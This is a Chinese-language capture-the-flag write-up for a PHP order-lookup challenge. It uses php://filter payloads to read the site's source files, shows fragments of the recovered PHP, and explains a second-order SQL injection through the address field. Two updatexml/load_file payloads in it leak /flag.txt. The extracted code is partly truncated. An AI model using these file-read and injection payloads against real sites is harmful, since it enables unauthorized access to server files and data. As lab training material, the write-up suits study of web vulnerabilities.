f12查看源码得到信息:这里面还有search.php、change.php、delete.php当然还有本页面的php文件,还有一个提示是:,提示我们使用php伪协议来读取php内容,分别读取每一部分的PHP内容
然后构造payload:
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=search.php
?file=php://filter/convert.base64-encode/resource=change.php
?file=php://filter/convert.base64-encode/resource=delete.php
得到大量的base64,解密可得php内容
index.php:
search.php:
query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "姓名:".$row['user_name']."
, 电话:".$row['phone']."
, 地址:".$row['address']."
";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
change.php:
query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
delete.php:
query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
分析代码可知,每个页面都过滤了很多的东西来防止sql,并且username和phone的过滤非常严格,但是address却只是进行了简单的转义,相关内容如下:
$address = addslashes($_POST["address"]);
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
可以看到,address会被转义,并且变成新的,与此同时旧的address被保留了下来。如果第一次修改地址的时候,构造一个含有sql的payload,然后第二次修改的时候构造一个正常的地址,那么前面的sql就会被触发。
payload(直接load_file不能够显示完整的flag,所以分成两次):
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
然后先在初始页面提交订单,姓名和电话要记住
然后修改地址,地址改为所构造的payload
再次修改,触发前面这次的sql语句,这次的地址填正常的地址就可以
然后就出来报错页面,随即给的就有半个flag
同样的方法得到另外一半flag